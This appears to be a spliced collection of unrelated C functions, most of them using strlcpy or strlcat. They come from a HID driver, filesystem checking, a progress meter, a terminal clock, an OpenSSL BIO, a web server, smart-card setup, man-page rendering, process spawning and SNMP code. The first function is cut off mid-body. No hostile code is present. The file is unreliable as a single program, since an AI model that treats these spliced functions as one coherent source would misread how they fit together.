if (!dj_dev) {
dev_err(&djrcv_hdev->dev, "%s: failed allocating dj_device\n",
__func__);
goto dj_device_allocate_fail;
}
dj_dev->reports_supported = le32_to_cpu(
dj_report->report_params[DEVICE_PAIRED_RF_REPORT_TYPE]);
dj_dev->hdev = dj_hiddev;
dj_dev->dj_receiver_dev = djrcv_dev;
dj_dev->device_index = dj_report->device_index;
dj_hiddev->driver_data = dj_dev;
djrcv_dev->paired_dj_devices[dj_report->device_index] = dj_dev;
if (hid_add_device(dj_hiddev)) {
dev_err(&djrcv_hdev->dev, "%s: failed adding dj_device\n",
__func__);
goto hid_add_device_fail;
}
return;
hid_add_device_fail:
djrcv_dev->paired_dj_devices[dj_report->device_index] = NULL;
kfree(dj_dev);
dj_device_allocate_fail:
hid_destroy_device(dj_hiddev);
}
static void check_fs(char *blk_device, char *fs_type, char *target)
{
int status;
int ret;
long tmpmnt_flags = MS_NOATIME | MS_NOEXEC | MS_NOSUID;
char tmpmnt_opts[64] = "errors=remount-ro";
char *e2fsck_argv[] = {
E2FSCK_BIN,
"-y",
blk_device
};
/* Check for the types of filesystems we know how to check */
if (!strcmp(fs_type, "ext2") || !strcmp(fs_type, "ext3") || !strcmp(fs_type, "ext4")) {
/*
* First try to mount and unmount the filesystem. We do this because
* the kernel is more efficient than e2fsck in running the journal and
* processing orphaned inodes, and on at least one device with a
* performance issue in the emmc firmware, it can take e2fsck 2.5 minutes
* to do what the kernel does in about a second.
*
* After mounting and unmounting the filesystem, run e2fsck, and if an
* error is recorded in the filesystem superblock, e2fsck will do a full
* check. Otherwise, it does nothing. If the kernel cannot mount the
* filesytsem due to an error, e2fsck is still run to do a full check
* fix the filesystem.
*/
errno = 0;
if (!strcmp(fs_type, "ext4")) {
// This option is only valid with ext4
strlcat(tmpmnt_opts, ",nomblk_io_submit", sizeof(tmpmnt_opts));
}
ret = mount(blk_device, target, fs_type, tmpmnt_flags, tmpmnt_opts);
INFO("%s(): mount(%s,%s,%s)=%d: %s\n",
__func__, blk_device, target, fs_type, ret, strerror(errno));
if (!ret) {
int i;
for (i = 0; i < 5; i++) {
// Try to umount 5 times before continuing on.
// Should we try rebooting if all attempts fail?
int result = umount(target);
if (result == 0) {
INFO("%s(): unmount(%s) succeeded\n", __func__, target);
break;
}
ERROR("%s(): umount(%s)=%d: %s\n", __func__, target, result, strerror(errno));
sleep(1);
}
}
/*
* Some system images do not have e2fsck for licensing reasons
* (e.g. recent SDK system images). Detect these and skip the check.
*/
if (access(E2FSCK_BIN, X_OK)) {
INFO("Not running %s on %s (executable not in system image)\n",
E2FSCK_BIN, blk_device);
} else {
INFO("Running %s on %s\n", E2FSCK_BIN, blk_device);
ret = android_fork_execvp_ext(ARRAY_SIZE(e2fsck_argv), e2fsck_argv,
&status, true, LOG_KLOG | LOG_FILE,
true, FSCK_LOG_FILE, NULL, 0);
if (ret < 0) {
/* No need to check for error in fork, we can't really handle it now */
ERROR("Failed trying to run %s\n", E2FSCK_BIN);
}
}
} else if (!strcmp(fs_type, "f2fs")) {
char *f2fs_fsck_argv[] = {
F2FS_FSCK_BIN,
"-a",
blk_device
};
INFO("Running %s -a %s\n", F2FS_FSCK_BIN, blk_device);
ret = android_fork_execvp_ext(ARRAY_SIZE(f2fs_fsck_argv), f2fs_fsck_argv,
&status, true, LOG_KLOG | LOG_FILE,
true, FSCK_LOG_FILE, NULL, 0);
if (ret < 0) {
/* No need to check for error in fork, we can't really handle it now */
ERROR("Failed trying to run %s\n", F2FS_FSCK_BIN);
}
}
return;
}
void
refresh_progress_meter(void)
{
char buf[MAX_WINSIZE + 1];
time_t now;
off_t transferred;
double elapsed;
int percent;
off_t bytes_left;
int cur_speed;
int hours, minutes, seconds;
int i, len;
int file_len;
transferred = *counter - (cur_pos ? cur_pos : start_pos);
cur_pos = *counter;
now = monotime();
bytes_left = end_pos - cur_pos;
if (bytes_left > 0)
elapsed = now - last_update;
else {
elapsed = now - start;
/* Calculate true total speed when done */
transferred = end_pos - start_pos;
bytes_per_second = 0;
}
/* calculate speed */
if (elapsed != 0)
cur_speed = (transferred / elapsed);
else
cur_speed = transferred;
#define AGE_FACTOR 0.9
if (bytes_per_second != 0) {
bytes_per_second = (bytes_per_second * AGE_FACTOR) +
(cur_speed * (1.0 - AGE_FACTOR));
} else
bytes_per_second = cur_speed;
/* filename */
buf[0] = '\0';
file_len = win_size - 35;
if (file_len > 0) {
len = snprintf(buf, file_len + 1, "\r%s", file);
if (len < 0)
len = 0;
if (len >= file_len + 1)
len = file_len;
for (i = len; i < file_len; i++)
buf[i] = ' ';
buf[file_len] = '\0';
}
/* percent of transfer done */
if (end_pos != 0)
percent = ((float)cur_pos / end_pos) * 100;
else
percent = 100;
snprintf(buf + strlen(buf), win_size - strlen(buf),
" %3d%% ", percent);
/* amount transferred */
format_size(buf + strlen(buf), win_size - strlen(buf),
cur_pos);
strlcat(buf, " ", win_size);
/* bandwidth usage */
format_rate(buf + strlen(buf), win_size - strlen(buf),
(off_t)bytes_per_second);
strlcat(buf, "/s ", win_size);
/* ETA */
if (!transferred)
stalled += elapsed;
else
stalled = 0;
if (stalled >= STALL_TIME)
strlcat(buf, "- stalled -", win_size);
else if (bytes_per_second == 0 && bytes_left)
strlcat(buf, " --:-- ETA", win_size);
else {
if (bytes_left > 0)
seconds = bytes_left / bytes_per_second;
else
seconds = elapsed;
hours = seconds / 3600;
seconds -= hours * 3600;
minutes = seconds / 60;
seconds -= minutes * 60;
if (hours != 0)
snprintf(buf + strlen(buf), win_size - strlen(buf),
"%d:%02d:%02d", hours, minutes, seconds);
else
snprintf(buf + strlen(buf), win_size - strlen(buf),
" %02d:%02d", minutes, seconds);
if (bytes_left > 0)
strlcat(buf, " ETA", win_size);
else
strlcat(buf, " ", win_size);
}
atomicio(vwrite, STDOUT_FILENO, buf, win_size - 1);
last_update = now;
}
void
window_clock_draw_screen(struct window_pane *wp)
{
struct window_clock_mode_data *data = wp->modedata;
struct screen_write_ctx ctx;
int colour, style;
struct screen *s = &data->screen;
struct grid_cell gc;
char tim[64], *ptr;
time_t t;
struct tm *tm;
u_int i, j, x, y, idx;
colour = options_get_number(&wp->window->options, "clock-mode-colour");
style = options_get_number(&wp->window->options, "clock-mode-style");
screen_write_start(&ctx, NULL, s);
t = time(NULL);
tm = localtime(&t);
if (style == 0) {
strftime(tim, sizeof tim, "%l:%M ", localtime(&t));
if (tm->tm_hour >= 12)
strlcat(tim, "PM", sizeof tim);
else
strlcat(tim, "AM", sizeof tim);
} else
strftime(tim, sizeof tim, "%H:%M", tm);
screen_write_clearscreen(&ctx);
if (screen_size_x(s) < 6 * strlen(tim) || screen_size_y(s) < 6) {
if (screen_size_x(s) >= strlen(tim) && screen_size_y(s) != 0) {
x = (screen_size_x(s) / 2) - (strlen(tim) / 2);
y = screen_size_y(s) / 2;
screen_write_cursormove(&ctx, x, y);
memcpy(&gc, &grid_default_cell, sizeof gc);
colour_set_fg(&gc, colour);
screen_write_puts(&ctx, &gc, "%s", tim);
}
screen_write_stop(&ctx);
return;
}
x = (screen_size_x(s) / 2) - 3 * strlen(tim);
y = (screen_size_y(s) / 2) - 3;
memcpy(&gc, &grid_default_cell, sizeof gc);
colour_set_bg(&gc, colour);
for (ptr = tim; *ptr != '\0'; ptr++) {
if (*ptr >= '0' && *ptr <= '9')
idx = *ptr - '0';
else if (*ptr == ':')
idx = 10;
else if (*ptr == 'A')
idx = 11;
else if (*ptr == 'P')
idx = 12;
else if (*ptr == 'M')
idx = 13;
else {
x += 6;
continue;
}
for (j = 0; j < 5; j++) {
for (i = 0; i < 5; i++) {
screen_write_cursormove(&ctx, x + i, y + j);
if (window_clock_table[idx][j][i])
screen_write_putc(&ctx, &gc, ' ');
}
}
x += 6;
}
screen_write_stop(&ctx);
}
static long MS_CALLBACK file_ctrl(BIO *b, int cmd, long num, void *ptr)
{
long ret = 1;
FILE *fp = (FILE *)b->ptr;
FILE **fpp;
char p[4];
switch (cmd) {
case BIO_C_FILE_SEEK:
case BIO_CTRL_RESET:
if (b->flags & BIO_FLAGS_UPLINK)
ret = (long)UP_fseek(b->ptr, num, 0);
else
ret = (long)fseek(fp, num, 0);
break;
case BIO_CTRL_EOF:
if (b->flags & BIO_FLAGS_UPLINK)
ret = (long)UP_feof(fp);
else
ret = (long)feof(fp);
break;
case BIO_C_FILE_TELL:
case BIO_CTRL_INFO:
if (b->flags & BIO_FLAGS_UPLINK)
ret = UP_ftell(b->ptr);
else
ret = ftell(fp);
break;
case BIO_C_SET_FILE_PTR:
file_free(b);
b->shutdown = (int)num & BIO_CLOSE;
b->ptr = ptr;
b->init = 1;
# if BIO_FLAGS_UPLINK!=0
# if defined(__MINGW32__) && defined(__MSVCRT__) && !defined(_IOB_ENTRIES)
# define _IOB_ENTRIES 20
# endif
# if defined(_IOB_ENTRIES)
/* Safety net to catch purely internal BIO_set_fp calls */
if ((size_t)ptr >= (size_t)stdin &&
(size_t)ptr < (size_t)(stdin + _IOB_ENTRIES))
BIO_clear_flags(b, BIO_FLAGS_UPLINK);
# endif
# endif
# ifdef UP_fsetmod
if (b->flags & BIO_FLAGS_UPLINK)
UP_fsetmod(b->ptr, (char)((num & BIO_FP_TEXT) ? 't' : 'b'));
else
# endif
{
# if defined(OPENSSL_SYS_WINDOWS)
int fd = _fileno((FILE *)ptr);
if (num & BIO_FP_TEXT)
_setmode(fd, _O_TEXT);
else
_setmode(fd, _O_BINARY);
# elif defined(OPENSSL_SYS_NETWARE) && defined(NETWARE_CLIB)
int fd = fileno((FILE *)ptr);
/* Under CLib there are differences in file modes */
if (num & BIO_FP_TEXT)
setmode(fd, O_TEXT);
else
setmode(fd, O_BINARY);
# elif defined(OPENSSL_SYS_MSDOS)
int fd = fileno((FILE *)ptr);
/* Set correct text/binary mode */
if (num & BIO_FP_TEXT)
_setmode(fd, _O_TEXT);
/* Dangerous to set stdin/stdout to raw (unless redirected) */
else {
if (fd == STDIN_FILENO || fd == STDOUT_FILENO) {
if (isatty(fd) <= 0)
_setmode(fd, _O_BINARY);
} else
_setmode(fd, _O_BINARY);
}
# elif defined(OPENSSL_SYS_OS2) || defined(OPENSSL_SYS_WIN32_CYGWIN)
int fd = fileno((FILE *)ptr);
if (num & BIO_FP_TEXT)
setmode(fd, O_TEXT);
else
setmode(fd, O_BINARY);
# endif
}
break;
case BIO_C_SET_FILENAME:
file_free(b);
b->shutdown = (int)num & BIO_CLOSE;
if (num & BIO_FP_APPEND) {
if (num & BIO_FP_READ)
BUF_strlcpy(p, "a+", sizeof p);
else
BUF_strlcpy(p, "a", sizeof p);
} else if ((num & BIO_FP_READ) && (num & BIO_FP_WRITE))
BUF_strlcpy(p, "r+", sizeof p);
else if (num & BIO_FP_WRITE)
BUF_strlcpy(p, "w", sizeof p);
else if (num & BIO_FP_READ)
BUF_strlcpy(p, "r", sizeof p);
else {
BIOerr(BIO_F_FILE_CTRL, BIO_R_BAD_FOPEN_MODE);
ret = 0;
break;
}
# if defined(OPENSSL_SYS_MSDOS) || defined(OPENSSL_SYS_WINDOWS) || defined(OPENSSL_SYS_OS2) || defined(OPENSSL_SYS_WIN32_CYGWIN)
if (!(num & BIO_FP_TEXT))
strlcat(p, "b", sizeof(p));
else
strlcat(p, "t", sizeof(p));
# endif
# if defined(OPENSSL_SYS_NETWARE)
if (!(num & BIO_FP_TEXT))
strlcat(p, "b", sizeof(p));
else
strlcat(p, "t", sizeof(p));
# endif
fp = file_fopen(ptr, p);
if (fp == NULL) {
SYSerr(SYS_F_FOPEN, get_last_sys_error());
ERR_add_error_data(5, "fopen('", ptr, "','", p, "')");
BIOerr(BIO_F_FILE_CTRL, ERR_R_SYS_LIB);
ret = 0;
break;
}
b->ptr = fp;
b->init = 1;
BIO_clear_flags(b, BIO_FLAGS_UPLINK); /* we did fopen -> we disengage
* UPLINK */
break;
case BIO_C_GET_FILE_PTR:
/* the ptr parameter is actually a FILE ** in this case. */
if (ptr != NULL) {
fpp = (FILE **)ptr;
*fpp = (FILE *)b->ptr;
}
break;
case BIO_CTRL_GET_CLOSE:
ret = (long)b->shutdown;
break;
case BIO_CTRL_SET_CLOSE:
b->shutdown = (int)num;
break;
case BIO_CTRL_FLUSH:
if (b->flags & BIO_FLAGS_UPLINK)
UP_fflush(b->ptr);
else
fflush((FILE *)b->ptr);
break;
case BIO_CTRL_DUP:
ret = 1;
break;
case BIO_CTRL_WPENDING:
case BIO_CTRL_PENDING:
case BIO_CTRL_PUSH:
case BIO_CTRL_POP:
default:
ret = 0;
break;
}
return (ret);
}
int
server_file_access(struct httpd *env, struct client *clt,
char *path, size_t len)
{
struct http_descriptor *desc = clt->clt_descreq;
struct server_config *srv_conf = clt->clt_srv_conf;
struct stat st;
struct kv *r, key;
char *newpath, *encodedpath;
int ret;
errno = 0;
if (access(path, R_OK) == -1) {
goto fail;
} else if (stat(path, &st) == -1) {
goto fail;
} else if (S_ISDIR(st.st_mode)) {
/* Deny access if directory indexing is disabled */
if (srv_conf->flags & SRVFLAG_NO_INDEX) {
errno = EACCES;
goto fail;
}
if (desc->http_path_alias != NULL) {
/* Recursion - the index "file" is a directory? */
errno = EINVAL;
goto fail;
}
/* Redirect to path with trailing "/" */
if (path[strlen(path) - 1] != '/') {
if ((encodedpath = url_encode(desc->http_path)) == NULL)
return (500);
if (asprintf(&newpath, "http%s://%s%s/",
srv_conf->flags & SRVFLAG_TLS ? "s" : "",
desc->http_host, encodedpath) == -1) {
free(encodedpath);
return (500);
}
free(encodedpath);
/* Path alias will be used for the redirection */
desc->http_path_alias = newpath;
/* Indicate that the file has been moved */
return (301);
}
/* Append the default index file to the location */
if (asprintf(&newpath, "%s%s", desc->http_path,
srv_conf->index) == -1)
return (500);
desc->http_path_alias = newpath;
if (server_getlocation(clt, newpath) != srv_conf) {
/* The location has changed */
return (server_file(env, clt));
}
/* Otherwise append the default index file to the path */
if (strlcat(path, srv_conf->index, len) >= len) {
errno = EACCES;
goto fail;
}
ret = server_file_access(env, clt, path, len);
if (ret == 404) {
/*
* Index file not found; fail if auto-indexing is
* not enabled, otherwise return success but
* indicate directory with S_ISDIR of the previous
* stat.
*/
if ((srv_conf->flags & SRVFLAG_AUTO_INDEX) == 0) {
errno = EACCES;
goto fail;
}
return (server_file_index(env, clt, &st));
}
return (ret);
} else if (!S_ISREG(st.st_mode)) {
/* Don't follow symlinks and ignore special files */
errno = EACCES;
goto fail;
}
key.kv_key = "Range";
r = kv_find(&desc->http_headers, &key);
if (r != NULL)
return (server_partial_file_request(env, clt, path, &st,
r->kv_value));
else
return (server_file_request(env, clt, path, &st));
fail:
switch (errno) {
case ENOENT:
case ENOTDIR:
return (404);
case EACCES:
return (403);
default:
return (500);
}
/* NOTREACHED */
}
static int itacns_add_keyset(sc_pkcs15_card_t *p15card,
const char *label, int sec_env, sc_pkcs15_id_t *cert_id,
const char *pubkey_path, const char *prkey_path,
unsigned int pubkey_usage_flags, unsigned int prkey_usage_flags,
u8 pin_ref)
{
int r;
sc_path_t path;
sc_path_t *private_path = NULL;
char pinlabel[16];
int fake_puk_authid, pin_flags;
/* This is hard-coded, for the time being. */
int modulus_length = 1024;
/* Public key; not really needed */
/* FIXME: set usage according to the certificate. */
if (pubkey_path) {
sc_format_path(pubkey_path, &path);
r = itacns_add_pubkey(p15card, &path, cert_id, label,
pubkey_usage_flags, sec_env, 0, &modulus_length);
SC_TEST_RET(p15card->card->ctx, SC_LOG_DEBUG_NORMAL, r,
"Could not add public key");
}
/*
* FIXME: usage should be inferred from the X.509 certificate, and not
* from whether the key needs Secure Messaging.
*/
if (prkey_path) {
sc_format_path(prkey_path, &path);
private_path = &path;
}
r = itacns_add_prkey(p15card, cert_id, label, SC_PKCS15_TYPE_PRKEY_RSA,
modulus_length,
prkey_usage_flags,
private_path, sec_env, cert_id, SC_PKCS15_CO_FLAG_PRIVATE);
SC_TEST_RET(p15card->card->ctx, SC_LOG_DEBUG_NORMAL, r,
"Could not add private key");
/* PIN and PUK */
strlcpy(pinlabel, "PIN ", sizeof(pinlabel));
strlcat(pinlabel, label, sizeof(pinlabel));
/* We are making up ID 0x90+ to link the PIN and the PUK. */
fake_puk_authid = 0x90 + pin_ref;
pin_flags = SC_PKCS15_PIN_FLAG_CASE_SENSITIVE
| SC_PKCS15_PIN_FLAG_INITIALIZED;
r = itacns_add_pin(p15card, pinlabel, sec_env, fake_puk_authid, pin_ref,
private_path, pin_flags);
SC_TEST_RET(p15card->card->ctx, SC_LOG_DEBUG_NORMAL, r,
"Could not add PIN");
strlcpy(pinlabel, "PUK ", sizeof(pinlabel));
strlcat(pinlabel, label, sizeof(pinlabel));
/*
* Looking at pkcs15-tcos.c and pkcs15-framework.c, it seems that the
* right thing to do here is to define a PUK as a SO PIN. Can anybody
* comment on this?
*/
pin_flags |= SC_PKCS15_PIN_FLAG_UNBLOCKING_PIN
| SC_PKCS15_PIN_FLAG_UNBLOCK_DISABLED;
r = itacns_add_pin(p15card, pinlabel, fake_puk_authid, 0, pin_ref+1,
private_path, pin_flags);
SC_TEST_RET(p15card->card->ctx, SC_LOG_DEBUG_NORMAL, r,
"Could not add PUK");
return 0;
}
/* ARGSUSED */
static int
mdoc_bl_pre(MDOC_ARGS)
{
int i;
struct htmlpair tag[3];
struct roffsu su;
char buf[BUFSIZ];
bufinit(h);
if (MDOC_BODY == n->type) {
if (LIST_column == n->norm->Bl.type)
print_otag(h, TAG_TBODY, 0, NULL);
return(1);
}
if (MDOC_HEAD == n->type) {
if (LIST_column != n->norm->Bl.type)
return(0);
/*
* For each column, print out the <COL> tag with our
* suggested width. The last column gets min-width, as
* in terminal mode it auto-sizes to the width of the
* screen and we want to preserve that behaviour.
*/
for (i = 0; i < (int)n->norm->Bl.ncols; i++) {
a2width(n->norm->Bl.cols[i], &su);
if (i < (int)n->norm->Bl.ncols - 1)
bufcat_su(h, "width", &su);
else
bufcat_su(h, "min-width", &su);
PAIR_STYLE_INIT(&tag[0], h);
print_otag(h, TAG_COL, 1, tag);
}
return(0);
}
SCALE_VS_INIT(&su, 0);
bufcat_su(h, "margin-top", &su);
bufcat_su(h, "margin-bottom", &su);
PAIR_STYLE_INIT(&tag[0], h);
assert(lists[n->norm->Bl.type]);
strlcpy(buf, "list ", BUFSIZ);
strlcat(buf, lists[n->norm->Bl.type], BUFSIZ);
PAIR_INIT(&tag[1], ATTR_CLASS, buf);
/* Set the block's left-hand margin. */
if (n->norm->Bl.offs) {
a2offs(n->norm->Bl.offs, &su);
bufcat_su(h, "margin-left", &su);
}
switch (n->norm->Bl.type) {
case(LIST_bullet):
/* FALLTHROUGH */
case(LIST_dash):
/* FALLTHROUGH */
case(LIST_hyphen):
/* FALLTHROUGH */
case(LIST_item):
print_otag(h, TAG_UL, 2, tag);
break;
case(LIST_enum):
print_otag(h, TAG_OL, 2, tag);
break;
case(LIST_diag):
/* FALLTHROUGH */
case(LIST_hang):
/* FALLTHROUGH */
case(LIST_inset):
/* FALLTHROUGH */
case(LIST_ohang):
/* FALLTHROUGH */
case(LIST_tag):
print_otag(h, TAG_DL, 2, tag);
break;
case(LIST_column):
print_otag(h, TAG_TABLE, 2, tag);
break;
default:
abort();
/* NOTREACHED */
}
return(1);
}
/*
*
* This starts a child process determined by command. If command contains a
* slash then it is assumed to be a full path; otherwise the path is searched
* for an executable file with the name command. Command is also used as
* argv[0] of the new process. The rest of the arguments of the function
* up to the first NULL make up pointers to arguments of the new process.
*
* This function returns child exit status on success and -1 on failure.
*
* NOTE: original_sigmask must be set before this function is called.
*/
int
start_childv(const char *command, char const * const *argv)
{
posix_spawnattr_t attr;
sigset_t fullset;
int i, rc, status, n;
pid_t pid;
char vbuf[1024];
vbuf[0] = 0;
n = sizeof (vbuf);
for (i = 1; argv[i] != NULL && n > 2; i++) {
n -= strlcat(vbuf, " ", n);
n -= strlcat(vbuf, argv[i], n);
}
if (argv[i] != NULL || n < 0)
syslog(LOG_ERR, "start_childv can't log full arg vector");
if ((rc = posix_spawnattr_init(&attr)) != 0) {
dprintf("posix_spawnattr_init %d %s\n", rc, strerror(rc));
return (-1);
}
(void) sigfillset(&fullset);
if ((rc = posix_spawnattr_setsigdefault(&attr, &fullset)) != 0) {
dprintf("setsigdefault %d %s\n", rc, strerror(rc));
return (-1);
}
if ((rc = posix_spawnattr_setsigmask(&attr, &original_sigmask)) != 0) {
dprintf("setsigmask %d %s\n", rc, strerror(rc));
return (-1);
}
if ((rc = posix_spawnattr_setflags(&attr,
POSIX_SPAWN_SETSIGDEF|POSIX_SPAWN_SETSIGMASK)) != 0) {
dprintf("setflags %d %s\n", rc, strerror(rc));
return (-1);
}
if ((rc = posix_spawnp(&pid, command, NULL, &attr, (char * const *)argv,
environ)) > 0) {
dprintf("posix_spawnp failed errno %d", rc);
return (-1);
}
if ((rc = posix_spawnattr_destroy(&attr)) != 0) {
dprintf("posix_spawn_attr_destroy %d %s\n", rc, strerror(rc));
return (-1);
}
(void) waitpid(pid, &status, 0);
if (WIFSIGNALED(status) || WIFSTOPPED(status)) {
i = WIFSIGNALED(status) ? WTERMSIG(status) : WSTOPSIG(status);
syslog(LOG_ERR, "'%s%s' %s with signal %d (%s)", command, vbuf,
(WIFSIGNALED(status) ? "terminated" : "stopped"), i,
strsignal(i));
return (-2);
} else {
syslog(LOG_INFO, "'%s%s' completed normally: %d", command, vbuf,
WEXITSTATUS(status));
return (WEXITSTATUS(status));
}
}
/**
* Make an SNMP table entry from a kernel one.
*/
static void
kinfo_proc_to_swrun_entry(const struct kinfo_proc *kp,
struct swrun_entry *entry)
{
char **argv = NULL;
uint64_t cpu_time = 0;
size_t pname_len;
pname_len = strlen(kp->ki_comm) + 1;
entry->name = reallocf(entry->name, pname_len);
if (entry->name != NULL)
strlcpy(entry->name, kp->ki_comm, pname_len);
entry->id = &oid_zeroDotZero; /* unknown id - FIXME */
assert(hr_kd != NULL);
argv = kvm_getargv(hr_kd, kp, SWR_PARAM_MLEN - 1);
if(argv != NULL){
u_char param[SWR_PARAM_MLEN];
memset(param, '\0', sizeof(param));
/*
* FIXME
* Path seems to not be available.
* Try to hack the info in argv[0];
* this argv is under control of the program so this info
* is not realiable
*/
if(*argv != NULL && (*argv)[0] == '/') {
size_t path_len;
path_len = strlen(*argv) + 1;
if (path_len > SWR_PATH_MLEN)
path_len = SWR_PATH_MLEN;
entry->path = reallocf(entry->path, path_len);
if (entry->path != NULL) {
memset(entry->path, '\0', path_len);
strlcpy((char*)entry->path, *argv, path_len);
}
}
argv++; /* skip the first one which was used for path */
while (argv != NULL && *argv != NULL ) {
if (param[0] != 0) {
/*
* add a space between parameters,
* except before the first one
*/
strlcat((char *)param, " ", sizeof(param));
}
strlcat((char *)param, *argv, sizeof(param));
argv++;
}
/* reuse pname_len */
pname_len = strlen(param) + 1;
if (pname_len > SWR_PARAM_MLEN)
pname_len = SWR_PARAM_MLEN;
entry->parameters = reallocf(entry->parameters, pname_len);
strlcpy(entry->parameters, param, pname_len);
}
entry->type = (int32_t)(IS_KERNPROC(kp) ? SRT_OPERATING_SYSTEM :
SRT_APPLICATION);
entry->status = (int32_t)swrun_OS_get_proc_status(kp);
cpu_time = kp->ki_runtime / 100000; /* centi-seconds */
/* may overflow the snmp type */
entry->perfCPU = (cpu_time > (uint64_t)INT_MAX ? INT_MAX : cpu_time);
entry->perfMemory = kp->ki_size / 1024; /* in kilo-bytes */
entry->r_tick = get_ticks();
}
